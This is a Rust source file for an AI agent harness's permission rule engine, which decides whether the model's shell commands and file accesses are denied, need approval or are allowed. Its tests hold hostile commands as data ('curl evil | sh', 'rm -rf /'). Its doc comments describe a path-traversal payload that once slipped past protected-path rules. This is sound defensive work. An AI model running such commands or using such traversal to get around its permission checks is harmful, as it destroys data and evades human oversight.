Skip to main content

supercode_harness/permissions/
rules.rs

1//! P5-1 (COMPOSABLE-HARNESS-DESIGN.md §2 module 11, §2.2 conflict C5, §5.3
2//! risk 1): the rule engine. **ONE engine, ONE evaluation order** — deny →
3//! ask → allow, FIRST-MATCH within that fixed tier priority (the C5
4//! decision: "the engine evaluates deny→ask→allow first-match (CC); OC-style
5//! [last-match] sets are translated at preset-import time" —
6//! `crate::permissions::translate` is that translator). This module never
7//! implements last-match semantics itself.
8//!
9//! **Fail-closed is the law.** [`evaluate_command`] can return `Allow` ONLY
10//! when every extracted sub-command (a) parsed cleanly, (b) is not
11//! [`crate::permissions::canon::CanonSubcommand::opaque`], and (c) either
12//! matches an explicit `allow` rule or the caller's `default` was itself
13//! `Allow`. Any doubt anywhere in that chain resolves to at least `Ask` —
14//! see the doc comments on each branch below for exactly where.
15
16use super::canon::{self, CanonResult};
17use crate::config::glob_match;
18
19/// The three-way outcome the engine can reach for a tool call. Ordered by
20/// strictness for [`Decision::stricter`] (`Deny` strictest, `Allow` loosest)
21/// — NOT by numeric severity in the tier-priority sense (which is a fixed
22/// deny→ask→allow scan order, not a totally-ordered scale); the ordering
23/// here exists purely to fold multiple sub-command decisions down to "the
24/// single worst one wins", the compound-safety invariant D-3/risk-1 demands.
25#[derive(Debug, Clone, Copy, PartialEq, Eq)]
26pub enum Decision {
27    /// Refuse outright. A hard floor — never bypassed by an approval policy
28    /// or a cached "approve for session" grant (mirrors
29    /// `Config::tool_deny_patterns`' existing precedent, config.rs).
30    Deny,
31    /// Requires approval (interactive prompt, or a non-interactive
32    /// [`super::approval::PermissionsApprovalHandler`]).
33    Ask,
34    /// Proceed without prompting.
35    Allow,
36}
37
38impl Decision {
39    /// The stricter (lower-trust) of two decisions: `Deny` beats `Ask` beats
40    /// `Allow`. Used to fold a compound command's per-sub-command decisions
41    /// into one (§5.3 risk 1: "a compound where ANY sub-command matches a
42    /// deny rule → the whole command is denied" — generalized here to "the
43    /// whole command is AT LEAST as strict as its strictest sub-command").
44    pub fn stricter(self, other: Decision) -> Decision {
45        use Decision::*;
46        match (self, other) {
47            (Deny, _) | (_, Deny) => Deny,
48            (Ask, _) | (_, Ask) => Ask,
49            (Allow, Allow) => Allow,
50        }
51    }
52}
53
54/// A first-match deny→ask→allow rule set (§2 module 11, C5). Each list holds
55/// pattern strings in one of two forms:
56///
57/// - `"toolname"` / `"toolname*"` (a bare glob, `crate::config::glob_match`
58///   syntax) — matches by TOOL NAME only, e.g. `"tools_question"`, `"bash*"`.
59/// - `"toolname(cmdglob)"` — matches tool name (itself a glob) AND the
60///   canonicalized command/path text (also a glob) against
61///   [`RuleSet::evaluate`]'s `subject` argument, e.g. `"bash(rm -rf*)"`,
62///   `"read(*.env)"`, `"write(.git/**)"`. The `read(...)`/`write(...)`
63///   pseudo-tool names are how path rules (module 11's "read/write path
64///   rules") and protected paths (module 13, via
65///   `crate::permissions::protected_path_rules`) both reuse this one engine
66///   instead of inventing a parallel path-matching mechanism.
67/// - `"*"` — matches everything (any tool, any subject).
68#[derive(Debug, Clone, Default, PartialEq, Eq)]
69pub struct RuleSet {
70    /// Hard floor — checked first; a match here can never be overridden.
71    pub deny: Vec<String>,
72    /// Checked second.
73    pub ask: Vec<String>,
74    /// Checked last.
75    pub allow: Vec<String>,
76}
77
78impl RuleSet {
79    /// Whether this rule set has no rules in any tier (a no-op engine —
80    /// every decision falls through to the caller's default).
81    pub fn is_empty(&self) -> bool {
82        self.deny.is_empty() && self.ask.is_empty() && self.allow.is_empty()
83    }
84
85    /// deny→ask→allow first-match, generically, against `tool` +
86    /// `subject` (the canonical command text, a resolved path, or `None`
87    /// for a tool call this rule set has no richer subject for — see
88    /// `rule_matches`'s doc comment on why a `None` subject only matches
89    /// bare tool-name-glob rules, never a `tool(pattern)` rule). Returns
90    /// `None` when nothing in any tier matches — the caller decides the
91    /// fallback (see [`evaluate_command`]/[`evaluate_path`]).
92    pub fn evaluate(&self, tool: &str, subject: Option<&str>) -> Option<Decision> {
93        if self.deny.iter().any(|p| rule_matches(p, tool, subject)) {
94            return Some(Decision::Deny);
95        }
96        if self.ask.iter().any(|p| rule_matches(p, tool, subject)) {
97            return Some(Decision::Ask);
98        }
99        if self.allow.iter().any(|p| rule_matches(p, tool, subject)) {
100            return Some(Decision::Allow);
101        }
102        None
103    }
104}
105
106/// Does `pattern` match `(tool, subject)`? See [`RuleSet`]'s doc comment for
107/// the two pattern shapes. A `tool(cmdglob)` pattern with `subject == None`
108/// never matches — a rule that names a command/path constraint cannot be
109/// satisfied by a tool call this engine has no command/path text for
110/// (conservative: such a rule simply doesn't apply, it does not silently
111/// match everything).
112fn rule_matches(pattern: &str, tool: &str, subject: Option<&str>) -> bool {
113    if pattern == "*" {
114        return true;
115    }
116    if let Some(open) = pattern.find('(') {
117        if let Some(cmd_pat) = pattern.strip_suffix(')').and_then(|p| p.get(open + 1..)) {
118            let tool_pat = &pattern[..open];
119            if !glob_match(tool_pat, tool) {
120                return false;
121            }
122            return match subject {
123                Some(s) => glob_match(cmd_pat, s),
124                None => false,
125            };
126        }
127    }
128    glob_match(pattern, tool)
129}
130
131/// Evaluate a (possibly compound) shell command against `rules`, folding
132/// every extracted sub-command's decision down to the single strictest one
133/// (§5.3 risk 1's compound-safety invariant). `tool` is the calling tool's
134/// name (`"bash"`, `"shell"`, …) — sub-command patterns match as
135/// `tool(cmdglob)` against `tool`, e.g. a rule written `"bash(rm -rf*)"`
136/// applies to every sub-command of a `bash` call, not to a `shell` call.
137///
138/// `default` is the decision to use for a sub-command that parsed cleanly
139/// but matched NO rule in any tier — the caller supplies this (typically
140/// derived from `ApprovalPolicy`, see `crate::agent`'s gate) since "no rule
141/// says anything about this command" is a policy question, not something
142/// this engine decides on its own. `default` is never consulted for a
143/// sub-command the canonicalizer could not parse, or one it marked opaque —
144/// those always contribute at least `Decision::Ask` regardless of `default`
145/// (fail-closed: an `ApprovalPolicy::Never`-derived `Allow` default must NOT
146/// let an unparseable or opaque command slip through silently).
147pub fn evaluate_command(
148    rules: &RuleSet,
149    tool: &str,
150    raw_command: &str,
151    default: Decision,
152) -> Decision {
153    match canon::canonicalize(raw_command) {
154        // Fail-closed: at least `Ask`, regardless of `default` — an
155        // `ApprovalPolicy::Never`-derived `Allow` default must not let an
156        // unparseable command slip through silently.
157        CanonResult::Unparseable(_) => Decision::Ask.stricter(default),
158        CanonResult::Ok(subs) => {
159            if subs.is_empty() {
160                // Nothing to evaluate (blank command) — the caller's
161                // default stands unmodified; there is no sub-command to
162                // force a stricter floor.
163                return default;
164            }
165            let mut worst = Decision::Allow;
166            for sub in &subs {
167                let text = sub.canonical_text();
168                let d = rules.evaluate(tool, Some(&text)).unwrap_or(default);
169                let d = if sub.opaque {
170                    d.stricter(Decision::Ask)
171                } else {
172                    d
173                };
174                // F4 (Fable-5 adversarial review): `protected_paths` must
175                // reach the bash write surface too, not just file-tool
176                // calls — check every statically-tractable write/read
177                // target this sub-command carries (a direct shell redirect,
178                // AND a known argv-writer like `tee`/`dd of=`) against the
179                // `write(...)`/`read(...)` protected-path rules folded into
180                // `rules` (see `crate::agent`'s gate,
181                // `protected_path_deny_rules`). See this crate's
182                // permissions module doc for what this covers vs. what is
183                // deferred to `permissions.sandbox`.
184                let d = d
185                    .stricter(fold_target_decisions(
186                        rules,
187                        "write",
188                        &sub.write_redirect_targets,
189                    ))
190                    .stricter(fold_target_decisions(
191                        rules,
192                        "write",
193                        &canon::known_writer_targets(&sub.argv),
194                    ))
195                    .stricter(fold_target_decisions(
196                        rules,
197                        "read",
198                        &sub.read_redirect_targets,
199                    ));
200                worst = worst.stricter(d);
201            }
202            worst
203        }
204    }
205}
206
207/// F4: fold a list of write/read redirect or known-argv-writer targets
208/// (`pseudo_tool` is `"write"` or `"read"`, matching
209/// [`protected_path_deny_rules`]'s pattern shape) down to the single
210/// strictest [`Decision`] any of them triggers. A target this
211/// canonicalizer can't statically prove is a real path
212/// (`canon::is_concrete_path_text` — e.g. it still contains `$VAR`/`` `cmd`
213/// ``) contributes at least `Ask`, fail-closed, rather than silently
214/// matching nothing and falling through to `Allow`. A target that IS
215/// concrete but matches no rule contributes `Allow` (the neutral case —
216/// this fold only ever ADDS a stricter floor on top of the sub-command's
217/// own tool-level decision, it never loosens it or duplicates `default`).
218fn fold_target_decisions(rules: &RuleSet, pseudo_tool: &str, targets: &[String]) -> Decision {
219    let mut d = Decision::Allow;
220    for t in targets {
221        if !canon::is_concrete_path_text(t) {
222            d = d.stricter(Decision::Ask);
223            continue;
224        }
225        d = d.stricter(
226            rules
227                .evaluate(pseudo_tool, Some(t))
228                .unwrap_or(Decision::Allow),
229        );
230    }
231    d
232}
233
234/// Evaluate a single resolved path against `rules`, as either a `"read"` or
235/// `"write"` pseudo-tool (module 11's "path rules": read/write globs — see
236/// [`RuleSet`]'s doc comment). Falls back to `default` when nothing matches.
237///
238/// SECURITY (CRITICAL fix, guarantor audit): this function does NO
239/// normalization, canonicalization, or symlink resolution of `path` — it is
240/// a pure glob-match against whatever string it is handed. A caller that
241/// feeds it a raw, unvalidated model-supplied path argument directly is
242/// vulnerable to a traversal bypass: `write_file path="x/../.git/config"`
243/// does not literally glob-match a `.git/**` protected-path rule as a raw
244/// string, even though it resolves right back onto the real `.git/config`.
245/// **Any caller evaluating a model-supplied tool `path` argument against
246/// `rules` MUST go through [`evaluate_path_safe`] instead**, which resolves
247/// `path` (lexically AND symlink-following) against the project root before
248/// calling this function — never call `evaluate_path` directly on untrusted
249/// input. This function itself remains a simple, pure, single-subject
250/// matcher (used internally, multiple times, by `evaluate_path_safe`) —
251/// callers that already have a KNOWN-safe subject (e.g. one of
252/// `evaluate_path_safe`'s own resolved forms, or a test's literal clean
253/// path) may still call it directly.
254pub fn evaluate_path(rules: &RuleSet, kind: PathKind, path: &str, default: Decision) -> Decision {
255    let pseudo_tool = match kind {
256        PathKind::Read => "read",
257        PathKind::Write => "write",
258    };
259    rules.evaluate(pseudo_tool, Some(path)).unwrap_or(default)
260}
261
262/// SECURITY (CRITICAL fix, guarantor audit, traced to this file's former
263/// `evaluate_path` doc comment claiming "no canonicalization ... is
264/// involved here ... no unparseable case to fail closed on" — the flawed
265/// assumption that let a traversal payload bypass `protected_paths`): the
266/// safe entry point for evaluating a RAW, model-supplied `path` tool
267/// argument (relative or absolute, exactly as it arrives in `args["path"]`)
268/// as a `"read"`/`"write"` pseudo-tool subject. Resolves `raw_path` against
269/// `root` through `crate::safe_path::resolve_for_matching` — the SAME dual
270/// lexical+symlink-resolved check `crate::checkpoint`'s P5-9 fix uses — and
271/// folds [`evaluate_path`] against the RAW subject, the lexically-normalized
272/// project-relative form, AND the symlink-resolved project-relative form
273/// down to the single strictest [`Decision`] (ties broken toward stricter,
274/// via [`Decision::stricter`]), so a rule can never be satisfied by
275/// matching only one of these three views.
276///
277/// This is what closes the CRITICAL bug: `write_file
278/// path="x/../.git/config"` with `protected_paths=[".git/**"]` — the raw
279/// subject `"x/../.git/config"` does not match, but the resolved subject
280/// `".git/config"` does, so the fold still lands on `Decision::Deny`.
281///
282/// FAIL-CLOSED: if `root`/`raw_path` cannot be proven safe (a resolution
283/// error, or `raw_path` lexically looks contained but symlink-resolves
284/// OUTSIDE `root` — see `crate::safe_path::PathForMatching::Unsafe`), the
285/// result is escalated to at least [`Decision::Deny`], never silently
286/// falling through to `default`. A path that legitimately resolves outside
287/// `root` entirely (e.g. an absolute write elsewhere under
288/// `SandboxPolicy::DangerFullAccess`) is NOT penalized for that alone — only
289/// the raw-subject match applies to it, exactly as before this fix (no
290/// over-block).
291pub fn evaluate_path_safe(
292    rules: &RuleSet,
293    kind: PathKind,
294    root: &std::path::Path,
295    raw_path: &str,
296    default: Decision,
297) -> Decision {
298    let pseudo_tool = match kind {
299        PathKind::Read => "read",
300        PathKind::Write => "write",
301    };
302    evaluate_path_subject_safe(rules, pseudo_tool, root, raw_path, default)
303}
304
305/// Like [`evaluate_path_safe`], but for an arbitrary `tool` name subject
306/// instead of the `read`/`write` pseudo-tool — e.g. a rule authored against
307/// the REAL tool name with a path subject (design §4.4's `"read_file(*.env)"`
308/// syntax, or an `apply_patch`-targeted rule). [`evaluate_path_safe`] is a
309/// thin wrapper over this for the pseudo-tool case; callers that need BOTH
310/// (the permissions gate always does — see `crate::agent`'s
311/// `permissions_gate_denial_impl`) call this function a second time with
312/// `tool` set to the real tool name and fold the two results together.
313pub fn evaluate_path_subject_safe(
314    rules: &RuleSet,
315    tool: &str,
316    root: &std::path::Path,
317    raw_path: &str,
318    default: Decision,
319) -> Decision {
320    let mut decision = rules.evaluate(tool, Some(raw_path)).unwrap_or(default);
321    match crate::safe_path::resolve_for_matching(root, raw_path) {
322        crate::safe_path::PathForMatching::Inside {
323            lexical_rel,
324            resolved_rel,
325        } => {
326            decision =
327                decision.stricter(rules.evaluate(tool, Some(&lexical_rel)).unwrap_or(default));
328            if resolved_rel != lexical_rel {
329                decision =
330                    decision.stricter(rules.evaluate(tool, Some(&resolved_rel)).unwrap_or(default));
331            }
332        }
333        crate::safe_path::PathForMatching::Outside => {
334            // No root-relative protected-floor pattern can apply to a path
335            // that resolves entirely outside `root` — the raw-subject match
336            // above already covers any rule authored against an absolute
337            // path. Not itself hostile (no over-block).
338        }
339        crate::safe_path::PathForMatching::Unsafe(_reason) => {
340            // FAIL CLOSED: could not prove this path safe (resolution
341            // error, or a symlink escape out of `root`) — never fall
342            // through to `default`/`Allow`.
343            decision = decision.stricter(Decision::Deny);
344        }
345    }
346    decision
347}
348
349/// Which access [`evaluate_path`] is checking — matches module 11's
350/// `read(...)`/`write(...)` pseudo-tool rule pattern names.
351#[derive(Debug, Clone, Copy, PartialEq, Eq)]
352pub enum PathKind {
353    /// A read access (`read_file`, `view_image`, …).
354    Read,
355    /// A write access (`write_file`, `edit_file`, …).
356    Write,
357}
358
359/// Module 13 (`permissions.protected_paths`): build the `read(...)` +
360/// `write(...)` deny rules a protected-paths glob list expands to — a
361/// protected path is unconditionally denied for BOTH read and write, unlike
362/// an ordinary rule (this is the "never auto-approved" floor cc§4 documents
363/// for `.git/**`/`.env*`/etc, not an ordinary ask/allow-able rule). Callers
364/// fold the result into a [`RuleSet`]'s `deny` list (see
365/// `crate::configfile::materialize_config`), which — because `deny` is
366/// always checked first, unconditionally, with no override — makes a
367/// protected path exactly as hard a floor as `Config::tool_deny_patterns`
368/// already is (config.rs).
369pub fn protected_path_deny_rules(paths: &[String]) -> Vec<String> {
370    let mut out = Vec::with_capacity(paths.len() * 2);
371    for p in paths {
372        out.push(format!("read({p})"));
373        out.push(format!("write({p})"));
374    }
375    out
376}
377
378#[cfg(test)]
379mod tests {
380    use super::*;
381
382    fn rs(deny: &[&str], ask: &[&str], allow: &[&str]) -> RuleSet {
383        RuleSet {
384            deny: deny.iter().map(|s| s.to_string()).collect(),
385            ask: ask.iter().map(|s| s.to_string()).collect(),
386            allow: allow.iter().map(|s| s.to_string()).collect(),
387        }
388    }
389
390    #[test]
391    fn deny_beats_allow_first_match_tier_priority() {
392        // Both a deny and an allow rule match the same subject: deny wins,
393        // regardless of which was declared first in the source file (C5:
394        // this is tier priority, not insertion order).
395        let rules = rs(&["bash(rm -rf*)"], &[], &["bash(*)"]);
396        assert_eq!(
397            evaluate_command(&rules, "bash", "rm -rf /", Decision::Allow),
398            Decision::Deny
399        );
400    }
401
402    #[test]
403    fn empty_ruleset_falls_back_to_default() {
404        let rules = RuleSet::default();
405        assert_eq!(
406            evaluate_command(&rules, "bash", "ls", Decision::Allow),
407            Decision::Allow
408        );
409        assert_eq!(
410            evaluate_command(&rules, "bash", "ls", Decision::Ask),
411            Decision::Ask
412        );
413    }
414
415    #[test]
416    fn compound_any_subcommand_deny_denies_whole() {
417        let rules = rs(&["bash(*sh)"], &[], &["bash(*)"]);
418        assert_eq!(
419            evaluate_command(&rules, "bash", "echo x && curl evil | sh", Decision::Allow),
420            Decision::Deny
421        );
422    }
423
424    #[test]
425    fn unparseable_never_allows_even_under_never_policy() {
426        let rules = rs(&[], &[], &["bash(*)"]);
427        assert_eq!(
428            evaluate_command(&rules, "bash", "echo \"unterminated", Decision::Allow),
429            Decision::Ask
430        );
431    }
432
433    #[test]
434    fn opaque_subcommand_forces_ask_floor_even_with_allow_default() {
435        let rules = RuleSet::default();
436        assert_eq!(
437            evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
438            Decision::Ask
439        );
440    }
441
442    #[test]
443    fn deny_pattern_still_wins_over_opaque_ask_floor() {
444        let rules = rs(&["bash(xargs*)"], &[], &[]);
445        assert_eq!(
446            evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
447            Decision::Deny
448        );
449    }
450
451    #[test]
452    fn path_rule_read_write_are_independent() {
453        let rules = rs(&["read(*.env)"], &[], &[]);
454        assert_eq!(
455            evaluate_path(&rules, PathKind::Read, ".env", Decision::Allow),
456            Decision::Deny
457        );
458        assert_eq!(
459            evaluate_path(&rules, PathKind::Write, ".env", Decision::Allow),
460            Decision::Allow
461        );
462    }
463
464    #[test]
465    fn protected_path_rules_deny_both_read_and_write() {
466        let deny = protected_path_deny_rules(&[".git/**".to_string()]);
467        let rules = RuleSet {
468            deny,
469            ..Default::default()
470        };
471        assert_eq!(
472            evaluate_path(&rules, PathKind::Read, ".git/config", Decision::Allow),
473            Decision::Deny
474        );
475        assert_eq!(
476            evaluate_path(&rules, PathKind::Write, ".git/config", Decision::Allow),
477            Decision::Deny
478        );
479    }
480
481    #[test]
482    fn wildcard_star_matches_everything() {
483        let rules = rs(&[], &[], &["*"]);
484        assert_eq!(
485            evaluate_command(&rules, "anything", "whatever", Decision::Ask),
486            Decision::Allow
487        );
488    }
489
490    #[test]
491    fn subject_none_never_matches_a_command_pattern() {
492        let rules = rs(&[], &[], &["bash(*)"]);
493        assert_eq!(rules.evaluate("bash", None), None);
494    }
495
496    #[test]
497    fn decision_stricter_ordering() {
498        assert_eq!(Decision::Deny.stricter(Decision::Allow), Decision::Deny);
499        assert_eq!(Decision::Ask.stricter(Decision::Allow), Decision::Ask);
500        assert_eq!(Decision::Allow.stricter(Decision::Allow), Decision::Allow);
501        assert_eq!(Decision::Deny.stricter(Decision::Ask), Decision::Deny);
502    }
503}